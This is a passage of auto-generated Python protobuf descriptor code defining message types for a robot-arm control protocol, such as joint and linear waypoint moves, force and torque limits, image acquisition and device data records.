filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='velocity', full_name='robotics.learning.reach.SetRadialSpeedArgs.velocity', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0242\022VelocityRadsPerSec', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acceleration', full_name='robotics.learning.reach.SetRadialSpeedArgs.acceleration', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0322\030AccelerationRadsPerSqSec', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7175,
serialized_end=7297,
)
_SETBLENDRADIUSARGS = _descriptor.Descriptor(
name='SetBlendRadiusArgs',
full_name='robotics.learning.reach.SetBlendRadiusArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='radius', full_name='robotics.learning.reach.SetBlendRadiusArgs.radius', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0162\014RadiusMeters', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7299,
serialized_end=7357,
)
_MOVEJWAYPOINTARGS = _descriptor.Descriptor(
name='MoveJWaypointArgs',
full_name='robotics.learning.reach.MoveJWaypointArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='rotation', full_name='robotics.learning.reach.MoveJWaypointArgs.rotation', index=0,
number=1, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0162\014RotationRads', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='blend_radius', full_name='robotics.learning.reach.MoveJWaypointArgs.blend_radius', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0252\021BlendRadiusMeters8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='velocity', full_name='robotics.learning.reach.MoveJWaypointArgs.velocity', index=2,
number=3, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0242\022VelocityRadsPerSec', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acceleration', full_name='robotics.learning.reach.MoveJWaypointArgs.acceleration', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0322\030AccelerationRadsPerSqSec', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='limits', full_name='robotics.learning.reach.MoveJWaypointArgs.limits', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo', full_name='robotics.learning.reach.MoveJWaypointArgs.servo', index=5,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_t_secs', full_name='robotics.learning.reach.MoveJWaypointArgs.servo_t_secs', index=6,
number=7, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_lookahead_time_secs', full_name='robotics.learning.reach.MoveJWaypointArgs.servo_lookahead_time_secs', index=7,
number=8, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo_gain', full_name='robotics.learning.reach.MoveJWaypointArgs.servo_gain', index=8,
number=9, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7360,
serialized_end=7713,
)
_LIMITS = _descriptor.Descriptor(
name='Limits',
full_name='robotics.learning.reach.Limits',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='force', full_name='robotics.learning.reach.Limits.force', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='torque', full_name='robotics.learning.reach.Limits.torque', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sensor', full_name='robotics.learning.reach.Limits.sensor', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7716,
serialized_end=7887,
)
_FORCELIMITS = _descriptor.Descriptor(
name='ForceLimits',
full_name='robotics.learning.reach.ForceLimits',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='maximum', full_name='robotics.learning.reach.ForceLimits.maximum', index=0,
number=1, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='minimum', full_name='robotics.learning.reach.ForceLimits.minimum', index=1,
number=2, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7889,
serialized_end=7936,
)
_TORQUELIMITS = _descriptor.Descriptor(
name='TorqueLimits',
full_name='robotics.learning.reach.TorqueLimits',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='maximum', full_name='robotics.learning.reach.TorqueLimits.maximum', index=0,
number=1, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='minimum', full_name='robotics.learning.reach.TorqueLimits.minimum', index=1,
number=2, type=2, cpp_type=6, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7938,
serialized_end=7986,
)
_SENSORLIMITS = _descriptor.Descriptor(
name='SensorLimits',
full_name='robotics.learning.reach.SensorLimits',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.SensorLimits.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.SensorLimits.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.SensorLimits.value', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='maximum', full_name='robotics.learning.reach.SensorLimits.maximum', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='minimum', full_name='robotics.learning.reach.SensorLimits.minimum', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=7989,
serialized_end=8220,
)
_MOVEJPATHARGS = _descriptor.Descriptor(
name='MoveJPathArgs',
full_name='robotics.learning.reach.MoveJPathArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='waypoints', full_name='robotics.learning.reach.MoveJPathArgs.waypoints', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0222\016MoveJWaypoints8\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8222,
serialized_end=8326,
)
_MOVELWAYPOINTARGS = _descriptor.Descriptor(
name='MoveLWaypointArgs',
full_name='robotics.learning.reach.MoveLWaypointArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='rotation', full_name='robotics.learning.reach.MoveLWaypointArgs.rotation', index=0,
number=1, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0162\014RotationRads', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='blend_radius', full_name='robotics.learning.reach.MoveLWaypointArgs.blend_radius', index=1,
number=2, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0252\021BlendRadiusMeters8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='velocity', full_name='robotics.learning.reach.MoveLWaypointArgs.velocity', index=2,
number=3, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0302\024VelocityMetersPerSec8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='acceleration', full_name='robotics.learning.reach.MoveLWaypointArgs.acceleration', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0362\032AccelerationMetersPerSqSec8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='limits', full_name='robotics.learning.reach.MoveLWaypointArgs.limits', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='servo', full_name='robotics.learning.reach.MoveLWaypointArgs.servo', index=5,
number=6, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8329,
serialized_end=8613,
)
_MOVELPATHARGS = _descriptor.Descriptor(
name='MoveLPathArgs',
full_name='robotics.learning.reach.MoveLPathArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='waypoints', full_name='robotics.learning.reach.MoveLPathArgs.waypoints', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0222\016MoveLWaypoints8\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8615,
serialized_end=8719,
)
_STOPJARGS = _descriptor.Descriptor(
name='StopJArgs',
full_name='robotics.learning.reach.StopJArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='deceleration', full_name='robotics.learning.reach.StopJArgs.deceleration', index=0,
number=1, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0342\030DecelerationRadsPerSqSec8\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8721,
serialized_end=8790,
)
_SETDIGITALOUTARGS = _descriptor.Descriptor(
name='SetDigitalOutArgs',
full_name='robotics.learning.reach.SetDigitalOutArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='output', full_name='robotics.learning.reach.SetDigitalOutArgs.output', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\005B\003int', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.SetDigitalOutArgs.value', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8792,
serialized_end=8855,
)
_SETANALOGOUTARGS = _descriptor.Descriptor(
name='SetAnalogOutArgs',
full_name='robotics.learning.reach.SetAnalogOutArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='output', full_name='robotics.learning.reach.SetAnalogOutArgs.output', index=0,
number=1, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value', full_name='robotics.learning.reach.SetAnalogOutArgs.value', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8857,
serialized_end=8906,
)
_SLEEPARGS = _descriptor.Descriptor(
name='SleepArgs',
full_name='robotics.learning.reach.SleepArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='seconds', full_name='robotics.learning.reach.SleepArgs.seconds', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\n2\010TimeSecs', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8908,
serialized_end=8954,
)
_RAWARGS = _descriptor.Descriptor(
name='RawArgs',
full_name='robotics.learning.reach.RawArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='text', full_name='robotics.learning.reach.RawArgs.text', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8956,
serialized_end=8979,
)
_ACQUIREIMAGEARGS = _descriptor.Descriptor(
name='AcquireImageArgs',
full_name='robotics.learning.reach.AcquireImageArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='tag', full_name='robotics.learning.reach.AcquireImageArgs.tag', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.AcquireImageArgs.device_type', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.AcquireImageArgs.device_name', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='mode', full_name='robotics.learning.reach.AcquireImageArgs.mode', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=8981,
serialized_end=9068,
)
_SYNCARGS = _descriptor.Descriptor(
name='SyncArgs',
full_name='robotics.learning.reach.SyncArgs',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='seconds', full_name='robotics.learning.reach.SyncArgs.seconds', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=9070,
serialized_end=9097,
)
_DEVICEDATA = _descriptor.Descriptor(
name='DeviceData',
full_name='robotics.learning.reach.DeviceData',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.DeviceData.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.DeviceData.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.DeviceData.data_type', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hint', full_name='robotics.learning.reach.DeviceData.hint', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='label', full_name='robotics.learning.reach.DeviceData.label', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tag', full_name='robotics.learning.reach.DeviceData.tag', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='send_to_clients', full_name='robotics.learning.reach.DeviceData.send_to_clients', index=6,
number=65, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='inhibit_frame_send', full_name='robotics.learning.reach.DeviceData.inhibit_frame_send', index=7,
number=35, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='inhibit_frame_save', full_name='robotics.learning.reach.DeviceData.inhibit_frame_save', index=8,
number=36, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ts', full_name='robotics.learning.reach.DeviceData.ts', index=9,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0042\002TS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='local_ts', full_name='robotics.learning.reach.DeviceData.local_ts', index=10,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='localTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='remote_ts', full_name='robotics.learning.reach.DeviceData.remote_ts', index=11,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='remoteTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='experiment_token', full_name='robotics.learning.reach.DeviceData.experiment_token', index=12,
number=38, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_params', full_name='robotics.learning.reach.DeviceData.event_params', index=13,
number=39, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0028\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message_last_timestamps', full_name='robotics.learning.reach.DeviceData.message_last_timestamps', index=14,
number=57, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='seq', full_name='robotics.learning.reach.DeviceData.seq', index=15,
number=77, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color', full_name='robotics.learning.reach.DeviceData.color', index=16,
number=11, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='color_depth', full_name='robotics.learning.reach.DeviceData.color_depth', index=17,
number=12, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='key_value', full_name='robotics.learning.reach.DeviceData.key_value', index=18,
number=13, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\002P\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='prediction', full_name='robotics.learning.reach.DeviceData.prediction', index=19,
number=14, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ur_state', full_name='robotics.learning.reach.DeviceData.ur_state', index=20,
number=15, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
